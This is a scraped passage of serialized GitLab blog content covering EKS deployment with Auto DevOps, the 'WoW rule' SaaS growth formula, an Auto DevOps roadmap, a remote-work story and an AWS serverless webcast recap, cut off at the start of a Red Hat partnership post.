deployed and can be accessed at `https://abubakar-te-demos-minimal-ruby-app-1.eksdemo-project.gitlabtechevangelism.net/`\n\nAnd it should show a “Hello World” message:\n\n  ![Deployed Application](https://about.gitlab.com/images/blogimages/deploying-application-eks/hello-world.png){: .shadow.medium.center}\n  The deployed application with \"Hello World\" message.\n  {: .note.text-center}\n\n## How to make changes to the deployed application\n\nIf any new changes are pushed, a different set of jobs is run to build, test, and review the changes before they can be merged to the master branch. I changed the \"Hello World\" text in the previous deployment to an HTML text in a new Git branch called `amazon-eks-html` using the GitLab WebIDE tool, and committed the changes.\n\n  ![Make changes to application](https://about.gitlab.com/images/blogimages/deploying-application-eks/new-commit.png)\n  Making new changes to application.\n  {: .note.text-center}\n\nWhile committing the changes, I selected \"start a new merge request (MR),\" which took me to the MR page where I added more information about the changes in a new MR.\n\n  ![New Merge request](https://about.gitlab.com/images/blogimages/deploying-application-eks/new-mr.png)\n  The MR to deploy the new application.\n  {: .note.text-center}\n\nIn the image above, you can see a pipeline is created to build, test and deploy using [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) to allow you review the changes before deploying to production.\n\n  ![New MR pipeline test](https://about.gitlab.com/images/blogimages/deploying-application-eks/new-mr-test.png)\n  MR with Review Apps\n  {: .note.text-center}\n\nOnce the review is finished, the application is deployed to a dedicated namespace in the Amazon EKS cluster for you to review before deploying to production. A URL for the [Review App](https://docs.gitlab.com/ee/ci/review_apps/) is provided, as shown in the image below.\n\n  ![Review Applications](https://about.gitlab.com/images/blogimages/deploying-application-eks/review-apps.png){: .shadow.medium.center}\n  The application in the Review App.\n  {: .note.text-center}\n\nThe `stop_review` job cleans up the Review App once the review is done. If MR approvals are required, the MR must be approved before being merged into the master branch. Once merged to master, the project is built, tested, and deployed to production.\n\n  ![Merged Change MR](https://about.gitlab.com/images/blogimages/deploying-application-eks/merged-mr.png){: .shadow.medium.center}\n  Deploying changes to production.\n  {: .note.text-center}\n\nThe image above shows that a second pipeline ran after the MR was merged. Once completed, a button is provided to `view app` and also see memory consumption as the app runs. The `view app`\"` button will open the application on the project's subdomain.\n\n  ![Updated application](https://about.gitlab.com/images/blogimages/deploying-application-eks/updated-site.png)\n  Changes deployed to production.\n  {: .note.text-center}\n\n## Deploy to Amazon EKS with Auto DevOps\n\nThe Auto DevOps function at GitLab makes deploying an application to the Amazon EKS cluster quite simple. Really, all you need to do is push code, and Auto DevOps automatically detects the programming language and uses the necessary [buildpack](https://buildpacks.io/) to test, build, and deploy your application. GitLab also takes making changes to your application a step further using Review Apps, which deploys your app to a temporary environment for you to review the app before deploying to production.\n\nIf you have questions about how to integrate GitLab with Amazon EKS to create a Kubernetes cluster, revisit the [first blog post](/blog/gitlab-eks-integration-how-to/).\n",[2509,754,4144,696],{"slug":23754,"featured":6,"template":678},"deploying-application-eks","content:en-us:blog:deploying-application-eks.yml","Deploying Application Eks","en-us/blog/deploying-application-eks.yml","en-us/blog/deploying-application-eks",{"_path":23760,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23761,"content":23766,"config":23769,"_id":23771,"_type":16,"title":23772,"_source":17,"_file":23773,"_stem":23774,"_extension":20},"/en-us/blog/wow-rule",{"title":23762,"description":23763,"ogTitle":23762,"ogDescription":23763,"noIndex":6,"ogImage":17364,"ogUrl":23764,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23764,"schema":23765},"Introducing the WoW rule: A formula for growth for SaaS Startups","The WoW rule is a guideline for growth for venture funded SaaS startups.","https://about.gitlab.com/blog/wow-rule","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the WoW rule: A formula for growth for SaaS Startups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-05-05\",\n      }",{"title":23762,"description":23763,"authors":23767,"heroImage":17364,"date":23750,"body":23768,"category":18484},[3532],"\n{::options parse_block_html=\"true\" /}\n\nAt GitLab, we believe that part of measuring success is having a target that you're working toward.\nIt's not enough to say, \"we're interested in growth\" but being specific in what the goals for that growth are is the difference between thinking that 1% growth is enough or underperforming.\nSetting targets not just for growth but all performance indicators is about expectation management and getting alignment- making sure that everyone is on the same page on what results should be.\nTo see how this manifests in our regular work, [all KPIs](/company/kpis/) have targets and all [job families have performance indicators](/handbook/hiring/job-families/#why-job-families-have-performance-indicators).\n\nWhen growing a SaaS startup, early-stage founders often ask: how quickly should my startup be growing?\nThere's a lot of seemingly conflicting advice out there.\n\nFor example, at YC Combinator, we were often told that we should aim for 10% growth week over week.\nAs [Paul Graham writes on growth](http://paulgraham.com/growth.html),\n> During Y Combinator we measure growth rate per week, partly because there is so little time before Demo Day, and partly because startups early on need frequent feedback from their users to tweak what they're doing.\n> A good growth rate during YC is 5-7% a week.\n> If you can hit 10% a week you're doing exceptionally well. If you can only manage 1%, it's a sign you haven't yet figured out what you're doing.\n\nNeeraj Agarwal of Battery Ventures is known for popularizing [the T2D3 rule](https://techcrunch.com/2015/02/01/the-saas-travel-adventure/):\n> Most of the phases center around a mantra I call “triple, triple, double, double, double,” (T2D3 for short), referring to a company’s annualized revenue growth.\n\nThere's [the Rule of 40](https://tomtunguz.com/rule-of-40/), [the magic number](https://davidcummings.org/2009/09/21/saas-magic-number/), and loads of other advice out there.\n\nAll of these suggest that there can be many ways to track growth at different phases in a company's development, but it can be hard to understand how they fit together or what is best.\n\n## Introducing the WoW Rule\n\nThe WoW Rule is the guideline for the revenue growth of a venture funded SaaS company.\nThis is based on my experience growing [GitLab](https://gitlab.com) and as an investor in other companies.\nIf you want to know what your revenue growth targets for your SaaS startup should be, keep reading.\n\nMonth over Month (MoM) growth = 6% + ( 14% / last month ARR in $m )\n{: .alert .alert-gitlab-purple}\n\n### Before $2 Million ARR\n\nUntil you're at $2 million dollars in ARR, what does aiming for month over month growth of 6% plus 14% divided by last month's ARR in millions?\n| Month | Year | ARR at the end of month in millions | MoM growth to next | Aprox. WoW growth  | YoY growth|\n|-------|------|--------------------|---------------|--------------|------------|\n| 1     | 0.1  | 0.0                | 140000006.00% | 35000001.50% |            |\n| 2     | 0.2  | 0.1                | 106.00%       | 26.50%       | 583889.08% |\n| 3     | 0.3  | 0.3                | 54.54%        | 13.64%       | 18461.57%  |\n| 4     | 0.3  | 0.4                | 37.41%        | 9.35%        | 4431.66%   |\n| 5     | 0.4  | 0.6                | 28.86%        | 7.21%        | 1995.96%   |\n| 6     | 0.5  | 0.8                | 23.74%        | 5.93%        | 1188.56%   |\n| 7     | 0.6  | 1.0                | 20.34%        | 5.08%        | 822.06%    |\n| 8     | 0.7  | 1.2                | 17.91%        | 4.48%        | 622.37%    |\n| 9     | 0.8  | 1.4                | 16.10%        | 4.03%        | 500.00%    |\n| 10    | 0.8  | 1.6                | 14.70%        | 3.68%        | 418.64%    |\n| 11    | 0.9  | 1.8                | 13.59%        | 3.40%        | 361.25%    |\n| 12    | 1.0  | 2.1                | 12.68%        | 3.17%        | 318.92%    |\n\nAt the end of the first month, you're at 0 ARR.\nAt the end of the second month, you're at .1 M ARR, or $100K.\nAt the end of the third month, you're at .3 M ARR, or $300K.\nFrom the second month to the third month, that means 106% month over month growth, and approximately 26.5% week over week growth.\nAt the end of month 12, you should be at $2.1 M ARR.\n\nThere are very large growth targets in the first year, but these become more manageable as traction is gained.\n\n## Years 2 through 6\n\nAt $2.1M ARR, a company is entering Phase 3 of their [SaaS adventure](https://techcrunch.com/2015/02/01/the-saas-travel-adventure/), moving into the oft-recommended T2D3 territory.\n\nBut our formula, the WoW rule, is a bit different.\n\nYear 2 would look as follows:\n\n| Month | Year | ARR at the end of month in millions | MoM growth to next | Aprox. WoW growth  | YoY growth|\n|-------|------|--------------------|---------------|--------------|------------|\n| 13 | 1.1 | 2.4 | 11.93% | 2.98% | 286.59% |\n| 14 | 1.2 | 2.6 | 11.30% | 2.82% | 261.21% |\n| 15 | 1.3 | 2.9 | 10.76% | 2.69% | 240.82% |\n| 16 | 1.3 | 3.3 | 10.30% | 2.57% | 224.14% |\n| 17 | 1.4 | 3.6 | 9.90%  | 2.47% | 210.27% |\n| 18 | 1.5 | 3.9 | 9.54%  | 2.39% | 198.60% |\n| 19 | 1.6 | 4.3 | 9.24%  | 2.31% | 188.65% |\n| 20 | 1.7 | 4.7 | 8.96%  | 2.24% | 180.09% |\n| 21 | 1.8 | 5.1 | 8.72%  | 2.18% | 172.67% |\n| 22 | 1.8 | 5.6 | 8.50%  | 2.13% | 166.18% |\n| 23 | 1.9 | 6.1 | 8.30%  | 2.08% | 160.47% |\n| 24 | 2.0 | 6.6 | 8.13%  | 2.03% | 155.42% |\n\nIf we expand this futher, with just a year view, years 2 through 6 would look like:\n\n| Month | Year | ARR at the end of month in millions | MoM growth to next | Aprox. WoW growth  | YoY growth|\n|-------|------|--------------------|---------------|--------------|------------|\n| 24 | 2.0 | 6.6   | 8.13% | 2.03% | 155.42% |\n| 36 | 3.0 | 15.6  | 6.90% | 1.72% | 122.64% |\n| 48 | 4.0 | 33.8  | 6.41% | 1.60% | 110.87% |\n| 60 | 5.0 | 70.3  | 6.20% | 1.55% | 105.80% |\n| 72 | 6.0 | 143.8 | 6.10% | 1.52% | 103.45% |\n\nThe T2D3 rule outlines that it kicks in at 2 Million dollars of ARR and sets the goal of tripling twice and doubling 3 times.\nAt the 2 Million dollar mark, that would suggest going to:\n\nAs a result, the T2D3 rule lays out:\n\n| Year | T2D3 |\n|------|------|\n| 1    | 2    |\n| 2    | 6    |\n| 3    | 18   |\n| 4    | 36   |\n| 5    | 72   |\n| 6    | 144  |\n\nOur suggestion, though, is a bit different:\n\n| Year | Wow Rule ARR | T2D3 ARR | Off by  |\n|------|------------|------|---------|\n| 1    | 2.1        | 2    | 4.80%   |\n| 2    | 6.6        | 6    | 9.66%   |\n| 3    | 15.6       | 18   | -13.33% |\n| 4    | 33.8       | 36   | -6.24%  |\n| 5    | 70.3       | 72   | -2.39%  |\n| 6    | 143.8      | 144  | -0.15%  |\n\nThe Wow Rule, thus, suggests slightly slower growth in years three, four, and five, to achieve almost the exact same number at the end of year 6.\n\n## Major Milestones\n\nReading this, there are a number of major milestones you may be curious about, such as 100M ARR and 1B ARR.\n\nFor 100 M ARR:\n\n| Month | Year | ARR at the end of month in millions | MoM growth to next | Aprox. WoW growth  | YoY growth|\n|-------|------|--------------------|---------------|--------------|------------|\n| 65 | 5.4 | 94.8  | 6.15% | 1.54% | 104.61% |\n| 66 | 5.5 | 100.7 | 6.14% | 1.53% | 104.41% |\n\nFor 1B ARR:\n\n| Month | Year | ARR at the end of month in millions | MoM growth to next | Aprox. WoW growth  | YoY growth|\n|-------|------|--------------------|---------------|--------------|------------|\n| 105 | 8.8 | 997.2  | 6.01% | 1.50% | 101.54% |\n| 106 | 8.8 | 1057.1 | 6.01% | 1.50% | 101.52% |\n\n## Year 6 and Beyond\n\nEven in year five, MoM growth is still above 6%.\nWe see this trend through and beyond Year 10.\nThis is because the formula we laid out earlier always expects at least 6% monthly growth as a constant.\n\n## Revenue to Spend for Continued Growth\n\nWhile the Wow Rule helps a company track its growth, it can be heard to know how to spend in order to continue growth.\nFor that we have the [Hypergrowth rule](/handbook/finance/financial-planning-and-analysis/hypergrowth-rule/) which includes a calculator based on existing ARR and percent growth. \n\n## Want to join the conversation?\n\nI gotten some feedback on this [on Twitter](https://twitter.com/sytses/status/1209504876109221895).\nIf you've got throughts, please join the conversation there!\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Guideline for the revenue growth of a venture funded SaaS company: Month over Month (MoM) growth = 6% + ( 14% / last month ARR in \u003Ca href=\"https://twitter.com/search?q=%24m&amp;src=ctag&amp;ref_src=twsrc%5Etfw\">$m\u003C/a> ). At $2m it should be about 13% MoM, at $6m it is 8%. T2D3: 2, 7, 16, 34, 70, 144. YC advises 10% WoW which only lasts 3 months with this formula.\u003C/p>&mdash; Sid Sijbrandij (@sytses) \u003Ca href=\"https://twitter.com/sytses/status/1209504876109221895?ref_src=twsrc%5Etfw\">December 24, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n",{"slug":23770,"featured":6,"template":678},"wow-rule","content:en-us:blog:wow-rule.yml","Wow Rule","en-us/blog/wow-rule.yml","en-us/blog/wow-rule",{"_path":23776,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23777,"content":23783,"config":23789,"_id":23791,"_type":16,"title":23792,"_source":17,"_file":23793,"_stem":23794,"_extension":20},"/en-us/blog/auto-devops",{"title":23778,"description":23779,"ogTitle":23778,"ogDescription":23779,"noIndex":6,"ogImage":23780,"ogUrl":23781,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23781,"schema":23782},"What's coming for Auto DevOps","We're working on a number of improvements to GitLab Auto DevOps – here's where it's at and where it's headed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667050/Blog/Hero%20Images/auto-devops-pipeline-stages.png","https://about.gitlab.com/blog/auto-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What's coming for Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Ward\"}],\n        \"datePublished\": \"2020-04-30\",\n      }",{"title":23778,"description":23779,"authors":23784,"heroImage":23780,"date":23786,"body":23787,"category":736,"tags":23788},[23785],"Chris Ward","2020-04-30","[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) is designed to make CI/CD adoption easier, with baked-in best practices and automation to take care of moving your code seamlessly through the software development lifecycle. If you or your team are new to DevOps, this is a great place to start. We're excited to share some new and [upcoming improvements to Auto DevOps](#coming-soon), but first: \n\nThere is a prerequisite for Auto DevOps, and that's a Kubernetes cluster. This may or may not be an easy step for you to complete, but your team likely has a cluster set up already. If not, [read our getting started guide](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html).\n\nAuto DevOps should be enabled by default, but if it isn't, go to _Settings > CI/CD > Auto DevOps_ and check _Default to Auto DevOps pipeline_. There are a lot of automated stages available, depending on what version and tier of GitLab you use, and which components you add to your Kubernetes cluster.\n\n1.  **Auto Build**: Builds your code using a _Dockerfile_ if your project has one, or a [Heroku buildpack](https://elements.heroku.com/buildpacks) selected based on the programming language you use, but you can manually set it.\n2.  **Auto Test**: Runs any tests included in your codebase, again using a Heroku buildpack.\n3.  **Auto Code Quality**: Runs static analysis and other checks over your code using the [code quality image](https://gitlab.com/gitlab-org/ci-cd/codequality).\n4.  **Auto SAST (Static Application Security Testing)**: Runs static analysis checks focussed on security issues using the [SAST image](https://gitlab.com/gitlab-org/security-products/sast).\n5.  **Auto Dependency Scanning**: Checks for potential security issues on project dependencies using the [dependency scanning image](https://gitlab.com/gitlab-org/security-products/dependency-scanning). \n6.  **Auto License Compliance**: Searches project dependencies for what licenses they use, using the [license compliance image](https://gitlab.com/gitlab-org/security-products/license-management).\n7.  **Auto Container Scanning**: Uses [Clair](https://github.com/quay/clair) to run static analysis and security issue checks on any Docker images used. \n8.  **Auto Review Apps**: Creates a version of an application in a temporary environment for team members to try and review.\n9.  **Auto DAST (Dynamic Application Security Testing)**: Runs further security checks using the [OWASP ZAProxy](https://github.com/zaproxy/zaproxy) tool.\n10. **Auto Deploy**: Deploys an application to a production environment as defined in the Kubernetes environment settings.\n11. **Auto Browser Performance Testing**: Tests the performance of application web pages using the [Sitespeed.io image](https://hub.docker.com/r/sitespeedio/sitespeed.io/).\n12. **Auto Monitoring**: Uses Prometheus to monitor system metrics for a deployed application.\n\n### Recent improvement: Readiness for Kubernetes 1.16 ([#32720](https://gitlab.com/gitlab-org/gitlab/issues/32720))\n\nWe recently reworked Auto DevOps features to [match changes in the Kubernetes 1.16 API](/releases/2020/03/22/gitlab-12-9-released/#auto-devops'-default-postgresql-due-to-change). Nothing you use will change, but behind the scenes, access different API endpoints, and in different ways.\n\n## Coming soon\n\nSeveral improvements are coming to Auto DevOps in our next few releases to ensure that we help your projects conform to the latest DevOps best practices, and integrate with as many of our platform features and external tools as possible.\n\n### Cloud-native buildpacks for Auto DevOps ([#25954](https://gitlab.com/gitlab-org/gitlab/issues/25954))\n\nSince Heroku created the buildback concept in 2011 when using virtual machines was typical, others have adopted the concept, and created their own that suited containers better. This change in need resulted in the Cloud Native Computing Foundation (CNCF) accepting the [Cloud Native Buildpacks project](https://buildpacks.io/) in 2018 to maintain a standard for buildpacks that suits their modern use cases. Also, in 12.10 we've added support to Cloud Native Buildpacks, and will be switching our \"traditional\" Heroku buildpacks to these newer ones in the coming months.\n\n### Running Auto DevOps on air-gapped networks ([#25642](https://gitlab.com/gitlab-org/gitlab/issues/25642))\n\nWhile many of our users have their clusters connected to the internet, we know not all do, and want to offer these customers as many features as possible. As part of GitLab 13.0, we are researching how to give you the ability to configure the locations of dependencies for Auto DevOps stages.\n\n### Upgrade to Helm 3 ([#29038](https://gitlab.com/gitlab-org/gitlab/issues/29038))\n\nWe use [Helm](https://helm.sh/) to deploy packages needed for various stages of the Auto DevOps process. In 13.1 we will upgrade Helm to version 3, which brought a series of significant changes, including removing Tiller as the \"server\" side of Helm.\n\n### NGINX alerts to auto-monitoring in Auto DevOps ([#118788](https://gitlab.com/gitlab-org/gitlab/issues/118788))\n\nNginx is a popular HTTP and reverse proxy server. In 13.0 we will add support for the metrics it exposes to Prometheus for providing alerts to our auto-monitoring feature.\n\n### Add Merge Train support to Auto DevOps ([#121933](https://gitlab.com/gitlab-org/gitlab/issues/121933))\n\n[Merge Trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) are a GitLab feature that let you queue lists of merge requests waiting for merging into a target branch. Auto DevOps doesn't currently support merge trains, but in version 13.1, we will start adding support and helping users get the configuration they need to add their Merge Trains to Auto DevOps workflows.\n\nYou can [read more about merge trains here](/blog/all-aboard-merge-trains/).\n\n## Looking further ahead\n\nThese planned features aside, one other area we are looking to improve is adopting more of a Directed Acyclic Graph (DAG) approach to Auto DevOps pipelines. You will no longer have to wait for one stage to complete before another begins, and you can focus on the results of the stages important to you. Feel free to view and comment on [the open issue](https://gitlab.com/gitlab-org/gitlab/issues/33200).\n\nWe are broadly working to make Auto DevOps work seamlessly with as many other GitLab features as possible, and hope you enjoy the time and insights it gives you.\n\nYou can [read more about Auto DevOps here](/blog/auto-devops-explained/).\n",[110,754,676],{"slug":23790,"featured":6,"template":678},"auto-devops","content:en-us:blog:auto-devops.yml","Auto Devops","en-us/blog/auto-devops.yml","en-us/blog/auto-devops",{"_path":23796,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23797,"content":23802,"config":23807,"_id":23809,"_type":16,"title":23810,"_source":17,"_file":23811,"_stem":23812,"_extension":20},"/en-us/blog/living-for-more-than-the-weekend",{"title":23798,"description":23799,"ogTitle":23798,"ogDescription":23799,"noIndex":6,"ogImage":18477,"ogUrl":23800,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23800,"schema":23801},"My remote story: Living for more than the weekend","A quick look into what drove me to choose an organization that lives and breathes it's core values and allowed me the flexibility to be a full time member of my family","https://about.gitlab.com/blog/living-for-more-than-the-weekend","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My remote story: Living for more than the weekend\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"JD Alex\"}],\n        \"datePublished\": \"2020-04-30\",\n      }",{"title":23798,"description":23799,"authors":23803,"heroImage":18477,"date":23786,"body":23805,"category":18484,"tags":23806},[23804],"JD Alex","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWhat exactly does it mean to be remote? For some, it looks the same as working in a traditional office space, 9-5, glued to your computer, albeit in a different location. Maybe it is from your home office, your living room, or a co-working space. To me, working remotely means something much more. It is an opportunity to live my life how I see fit.\n\u003Cbr>\n\nI grew up with a single mother. She was and still is a nurse, subject to schedules that can be quite hectic. There were many days where I found myself heating up food my mother prepped for me before she went to work, and at times I would go with her and spend the night in the doctor’s lounge at the hospital. I don’t regret or wish anything different about those times — I loved them — but I want something different for my family, and for my son.\n\u003Cbr>\n\nI previously worked in the Bay Area for a corporate wellness company and the grind was real. I never turned off. I was attached to my phone answering calls and texts from our CEO at all hours of the day. I commuted roughly 12 miles and it could take me up to an hour to get home from work (for 2 years that is 21.75 days PER YEAR spent commuting). After a couple of years, my wife and I decided a change was needed. Fast forward to my time at my next position in Denver, Colorado where I had a shorter commute (on most days), though I still sat in an office for 50 hours a week. Sure, free food,coffee and ping pong tables were great perks, but it all changed once my son was born. There were days I would spend 20-30 minutes in the morning with him before leaving for the office, only to get home from work and get barely another hour with him at night. For me, that was unacceptable.\n\u003Cbr>\n\nI couldn’t shake the feeling that I had to make a change — I had to do better — for my own sanity, but more importantly for my son to know me. So... I quit. Before doing so, I asked to be given some flexibility. I used my track record as one of the company’s top performers, having never previously used a sick day and never taken a holiday. It was in vain. I was told I would never be allowed to work remotely. I was told it couldn’t be done successfully, culture happened in the office, and so on.\n\u003Cbr>\n\nIn the back of my mind was a startup, GitLab, that was shown to me by a friend and former co-worker. I read the [Handbook](/handbook/#introduction), I read the [values](https://handbook.gitlab.com/handbook/values/#credit), and I didn’t believe any of it for a minute. It was too good to be true. I was in the midst of wrapping up my last few weeks at a company that was rated as a front runner of Best Places to Work, Best Company Culture, and Happiest Employees. How could this place be any different? Well, I was wrong! I read everything I could find from current employees talking about GitLab and what it has done for them, what the values mean to the company, and how [Sid (CEO)](/company/team/#sytses) promoted work-life integration and mental health first by focusing on results over input. I interviewed and, long story short, was offered a position.\n\u003Cbr>\n\nFast forward 17 months to today and life looks a lot different. My family and I moved back to where we wanted to live, we have a house we love, and I have had breakfast, lunch, and dinner every single day with my wife and son as a family. In 17 months, I have been given the opportunity, the gift, of sitting down with my family for every single meal. I have  enjoyed more meals with my son in these last 17 months than some get to enjoy with their kids in 17 years.\n\u003Cbr>\n\nGitLab works asynchronously and employees are valued based on their results, not their input.GitLab understands as an organization that people need time off to gather their thoughts, re-center themselves, go for a bike ride or walk, take care of household activities, or pick kids up from school or your pets from doggy day care. Giving each and every employee the tools they need and the trust they deserve to work from anywhere that Wi-Fi allows.\n\u003Cbr>\n\nSo why do I choose remote? For me, it’s simple. I have a life, and my career is a part of that life. It is a part that I truly enjoy and also that provides for my family. A part that I do not take for granted, but it is still only a part of my life. It is not who I am, and it is not what I will be remembered for by my son. I wish to live my life every single day, and not just for the weekends. I want to be present for my family, my friends, and for myself. I want to see the world and I want to see what's in my backyard. I am able to do this because of what GitLab and remote work has offered.\n\n![Family photo](https://about.gitlab.com/images/blogimages/unfilteredblogpostmyremotestory.png){: .shadow}\n\nThe Alex's.\n{: .note.text-center}\n",[7715,267,676],{"slug":23808,"featured":6,"template":678},"living-for-more-than-the-weekend","content:en-us:blog:living-for-more-than-the-weekend.yml","Living For More Than The Weekend","en-us/blog/living-for-more-than-the-weekend.yml","en-us/blog/living-for-more-than-the-weekend",{"_path":23814,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23815,"content":23820,"config":23825,"_id":23827,"_type":16,"title":23828,"_source":17,"_file":23829,"_stem":23830,"_extension":20},"/en-us/blog/aws-gitlab-serverless-webcast",{"title":23816,"description":23817,"ogTitle":23816,"ogDescription":23817,"noIndex":6,"ogImage":17364,"ogUrl":23818,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23818,"schema":23819},"How to deploy AWS Lambda applications with ease","Highlights from our serverless webcast with AWS exploring the Serverless Application Model.","https://about.gitlab.com/blog/aws-gitlab-serverless-webcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy AWS Lambda applications with ease\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-04-29\",\n      }",{"title":23816,"description":23817,"authors":23821,"heroImage":17364,"date":23822,"body":23823,"category":8943,"tags":23824},[18462],"2020-04-29","\n\nIn the [Cloud Native Computing Foundation (CNCF) 2019 survey](https://www.cncf.io/blog/2019-cncf-survey-results-are-here-deployments-are-growing-in-size-and-speed-as-cloud-native-adoption-becomes-mainstream/), 41% of respondents use serverless technology. Among those using serverless, 80% use a hosted platform vs. 20% who use installable software. Of the 80% using a hosted platform, the top tool is AWS Lambda (53%).\n\nAs organizations continue to explore the power and scalability of serverless computing, AWS Lambda remains a large part of the conversation. On April 9, AWS and GitLab hosted a serverless webcast to demonstrate how teams can use [GitLab CI/CD](/topics/ci-cd/) and the AWS Serverless Application Model (SAM) to build, test, and deploy Lambda applications. For the serverless webcast, we showed attendees how to:\n\n*   Use and install the AWS SAM CLI\n*   Create a SAM application including a Lambda function and API\n*   Build, test, and deploy the application using GitLab CI/CD\n\nWhether you’re an AWS customer, a serverless newbie, or wanting to explore new ways to utilize GitLab CI/CD, this webcast had something for everyone. We’ve compiled some highlights from the discussion and a link to the on-demand webcast.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nWatch the webcast with AWS and GitLab to learn all about serverless - [Tune in here](/webcast/aws-gitlab-serverless/)!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n## What is the Serverless Application Model (SAM)?\n\nTooling and workflows are the biggest roadblocks to adopting serverless. Organizations love the scalability and automation of serverless but don’t believe that they have the tools to implement it effectively. In this webcast, we showed how teams can seamlessly use SAM with GitLab CI/CD for their serverless application development.\n\n[AWS SAM](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/what-is-sam.html) is an open source framework for building serverless applications on AWS. It can be considered an extension to CloudFormation that makes it easier to define and deploy AWS resources – such as Lambda functions, API Gateway APIs and DynamoDB tables – commonly used in serverless applications.\n\nIn addition to its templating capabilities, SAM also includes a CLI for testing and deployment allows teams to define the resources they need as code. So that includes the serverless functions, but can also include any of the rest of the AWS suite of tools. SAM works by taking all of those things and creates a cloud formation stack from a SAM template. Next it automatically deploys those various functions and other AWS components and gets the IAM configured correctly between all of them so that an application can run not only Lambda functions, but also leverage the rest of the AWS stack to create an entire system and application.\n\n\n## Why is SAM a great tool for enterprise teams?\n\nSenior developer evangelist at GitLab, [Brendan O’Leary](/company/team/#brendan), is a Node.js developer at heart. \"For better or worse,\" he laughs. When putting together the presentation, he noted that SAM offered templates not only in Python but in Node.js as well. \"I think applies directly to the enterprise because those teams are going to be diverse. They're going to have different needs, they're going to choose the language that best fits those needs. It was great to have this starter template that I could start with Node.js 12X to really get started on coding in a comfortable environment for me.\"\n\nThe SAM templates can also be an asset for enterprise teams because they streamline a lot of the backend work. In the project presented during the webcast, we were able to start from a SAM template to orchestrate the IAM permissions we needed instead of coding all of the cloud formation ourselves. For a large or distributed team, this makes SAM a great out-of-the-box tool for serverless applications.\n\n\n## The benefits of going serverless\n\nRam Dileepan, solutions architect at AWS, highlighted this quote from AWS CTO Werner Vogels: No server is easier to manage than no server at all. \"The main goal of modern application development is to automate and abstract as much as possible from the customer. So what we do as an AWS cloud, we abstract a lot of the details from developers so they can actually focus on building applications instead of working with infrastructure.\"\n\nFor teams looking to incorporate serverless, it can provide a number of benefits:\n\n*   Scalable\n*   Pay for what you use\n*   Availability\n\n\n## Serverless and microservices best practices\n\nWhile serverless means that, from the developer perspective, servers are not actively managed, there is still work to do. When you design the application, you have to design how are you going to monitor it and what you are going to monitor. \"Even when you go to serverless, you can actually just follow the standard development best practices,\" says Ram. Here he presented his three serverless/microservices best practices:\n\n*   Treat your infrastructure the way you treat your code\n*   Set up an automated integration and deployment pipeline\n*   Build with monitoring and observability from day one\n\nIn addition to going over the SAM CLI and creating a GitLab CI/CD pipeline, Brendan O’Leary and Ram Dileepan also fielded a variety of questions in the live Q&A. To watch the full webcast and learn more about serverless with GitLab and AWS, click the link below or in the header.\n\n[Watch our serverless webcast Ram Dileepan of AWS and Brendan O'Leary of GitLab 🍿](/webcast/aws-gitlab-serverless/)\n{: .alert .alert-gitlab-purple}\n",[3554,3949,110],{"slug":23826,"featured":6,"template":678},"aws-gitlab-serverless-webcast","content:en-us:blog:aws-gitlab-serverless-webcast.yml","Aws Gitlab Serverless Webcast","en-us/blog/aws-gitlab-serverless-webcast.yml","en-us/blog/aws-gitlab-serverless-webcast",{"_path":23832,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23833,"content":23838,"config":23842,"_id":23844,"_type":16,"title":23845,"_source":17,"_file":23846,"_stem":23847,"_extension":20},"/en-us/blog/gitlab-and-redhat-automation",{"title":23834,"description":23835,"ogTitle":23834,"ogDescription":23835,"noIndex":6,"ogImage":17364,"ogUrl":23836,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23836,"schema":23837},"GitLab and Red Hat: Automation to enhance secure software development","How our closer relationship with Red Hat will boost deployment automation.","https://about.gitlab.com/blog/gitlab-and-redhat-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Red Hat: Automation to enhance secure software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2020-04-29\",\n      }",{"title":23834,"description":23835,"authors":23839,"heroImage":17364,"date":23822,"body":23840,"category":736,"tags":23841},[12075],"\n\nWe're working towards a closer relationship with Red Hat and we're excited about the possibilities. We think developers can reduce time spent coding while still increase productivity with technologies from GitLab and Red Hat. Here's what you need to 